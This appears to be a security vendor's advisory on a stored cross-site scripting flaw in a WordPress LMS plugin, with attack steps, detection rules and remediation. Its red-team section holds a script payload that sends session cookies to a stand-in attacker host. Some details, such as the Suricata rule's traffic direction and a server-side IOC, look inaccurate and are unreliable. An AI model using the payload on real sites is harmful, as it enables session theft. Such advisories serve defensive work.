CVE-2025-63042

Executive Summary

CVE-2025-63042 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tutor LMS Elementor Addons plugin for WordPress, developed by Themeum. The vulnerability affects versions from n/a through 3.0.1. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into web pages via the plugin's input fields. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or directly from the repository are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or higher)
• User Interaction: Required (Victim must view the page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the stored nature of the XSS, which can persist and affect multiple users without requiring repeated exploitation.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The Tutor LMS Elementor Addons plugin fails to sanitize or escape data before storing it in the WordPress database. When an attacker with contributor-level access or higher submits content (e.g., via a course builder, quiz, or other Elementor widget), the malicious script is saved. Upon rendering the page, the script executes in the context of the victim's browser.

Root Cause: The plugin uses echo or the_content filters without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Attack Flow:

1. Attacker logs in with a contributor account.
2. Attacker navigates to a vulnerable Elementor widget (e.g., course description, instructor bio).
3. Attacker injects a payload like <script>alert('XSS')</script> into the input field.
4. The payload is stored in the database without sanitization.
5. When an admin or other user views the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from version <= 3.0.1):

// In a widget's render method
echo $settings['course_title'];

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( $settings['course_title'] );

The patch would involve applying esc_html(), esc_attr(), or wp_kses_post() to all user-facing output fields within the plugin's Elementor widgets.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Tutor LMS Elementor Addons <= 3.0.1
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Create or edit a course using Elementor.
3. In a text field (e.g., course description), inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the course.
5. Wait for an admin to view the course page. The script will execute, sending the admin's session cookie to the attacker's server.

Payload Example:

<img src=x onerror="alert('XSS')">

Blue Team (Defender)

Detection:

• Monitor for unusual JavaScript execution in the browser console.
• Review WordPress logs for suspicious content in post meta or widget settings.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Prevention:

• Update the plugin to a patched version once available.
• Apply a virtual patch via WAF rules.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified plugin files (e.g., wp-content/plugins/tutor-lms-elementor-addons/).
• Database: Suspicious entries in wp_postmeta or wp_options containing <script> tags.
• Logs: WordPress debug logs showing unescaped output warnings.

Detection Engineering

YARA Rule

rule CVE_2025_63042_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Tutor LMS Elementor Addons"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63042"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Tutor LMS Elementor Addons
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via Tutor LMS Elementor Addons
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "tutor-lms-elementor-addons"
        http.body|contains|re: "(<script|onerror|onload)"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in course content
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63042 Stored XSS in Tutor LMS Elementor Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"tutor-lms-elementor-addons"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Tutor LMS Elementor Addons plugin until a patch is available.
2. Review and sanitize all existing course content for malicious scripts.
3. Implement a Web Application Firewall (WAF) with XSS protection rules.

Long-Term Fix:

• Apply the official patch from Themeum once released.
• Update to version > 3.0.1 when available.
• Enforce the principle of least privilege for WordPress user roles.

Workaround:

• Use a security plugin like Wordfence to add virtual patching.
• Manually escape output in the plugin's PHP files (not recommended for non-developers).

Valters IT
Securing Digital Frontiers